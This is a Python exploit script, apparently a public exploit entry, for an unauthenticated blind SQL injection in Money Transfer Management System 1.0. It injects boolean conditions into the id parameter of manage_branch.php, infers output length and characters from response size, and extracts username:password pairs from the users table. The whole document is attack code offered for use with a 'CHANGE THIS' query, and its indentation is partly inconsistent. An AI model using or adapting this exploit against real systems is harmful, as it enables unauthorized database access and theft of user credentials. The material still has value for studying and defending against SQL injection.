Money Transfer Management System 1.0 - Unauthenticated SQLi

import requests
import urllib.parse

dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"""

def sqli_bool(base_url,query):


 url = "?id=1' and %s -- -" % query

 #proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
 #r = requests.get(base_url+url, proxies=proxies)
 r = requests.get(base_url+url)

 if len(r.text) > 2700:
        return True

    else:
        return False


def get_length(url, query):

    for i in range(0,200):
        current_query = "(length((%s))=%s)"%(query,str(i))
        current_query = current_query=urllib.parse.quote(current_query)
        if sqli_bool(url,current_query):
            break

    if i !=199:
        return i
    else:
        return -1


def make_query(url,query):

    # Get length
    length = get_length(url,query)

    print("[*] Getting output length:")
    if length == -1:
        print("Error getting query length")
        return 0
    print("[+] Output Length: " + str(length))

    current_result = ""

    print()
    print("[*] Getting output: ")

    for pos in range(length+1):
        for char in dictionary:

            current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
            if sqli_bool(url,current_query):
                current_result += char
                print(current_result, end='\r')
                break

    print("[+] Found: " + " " * 100)
    print(current_result)


url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"

# must be only 1 row
# use limit and offset to iterate

# CHANGE THIS
query = "select concat(username,':', password) as t1 from users limit 1"

make_query(url,query)